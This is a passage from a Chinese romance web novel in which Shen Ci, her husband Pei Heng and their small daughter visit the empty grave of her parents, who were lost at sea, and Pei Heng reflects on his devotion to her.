她看着地上的影子,忍不住的靠近,又靠近了一点。 好似这样,他们的心也会越来越靠近。 * 沈毅夫妻俩是海难身故的,当初整艘船其实都已经损毁,海上狂风暴雨根本就没有生还的可能。 尸首虽然并未找到,可任谁都知道这是一场彻头彻尾的悲剧。 下葬的其实是衣冠冢。 这些年,沈瓷一直都在自欺欺人,欺骗自己其实爹娘还活着。 但她一直都知道,没有什么希望。 坟茔建造的很宏伟壮观,里头却空空如也。 沈瓷看着爹娘的埋骨处,心中感慨万千,想说的话是永远都说不完的。 这一回沈瓷没有对着父母说许多的话,反而是裴珩一直在说。 他说了不少关于沈瓷和晏晏的事情。 条理分明,桩桩件件像是藏在心中许久。 而晏晏也规规矩矩的站在一旁,陪着父母。 沈瓷不会在晏晏的面前提起爹娘,伤心事不愿意触碰,是人之常情。 但裴珩却会告诉晏晏,外祖父和外祖母的存在。 所以即便是冰凉的坟茔,晏晏也没有觉得太陌生。 她知道这是外祖父和外祖母。 也知道,那是阿娘的爹娘。 沈瓷不知裴珩花了多少的时间和精力,才让个奶娃娃记住这些。 她还那么小,长大一些就会忘记的。 她想说不必如此。 可张了张口,一些话还是没能说出来,反而是泪水顺着脸颊落下。 她哭的太多太多次。 可每一次哭泣,都有着不同的理由。 偏偏面前的男人还有些自责,“早知你要哭,就不让晏晏来了。” 他不过想让沈瓷知道,还有许多人记着爱她的人。 死亡不是终点,遗忘才是。 他只是想让她的妻子,能够感受很多很多的爱。 多一点,再多一点。 裴珩不知自己为何会有这般心思,若是从前有人告诉他这些,他只会嗤之以鼻。 可事实摆在眼前,谁让眼前的人是沈瓷? 若没有沈瓷,他会按部就班的活着,娶一个门当户对的妻子,和她相敬如宾,过完一生。 大抵也是温馨度日。 可因为沈瓷,人生却有了许许多多的可能。 裴珩想。 也幸而是她。 他的理想依旧伟大,可心愿却明了—— 愿得一心人,白首不相离。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&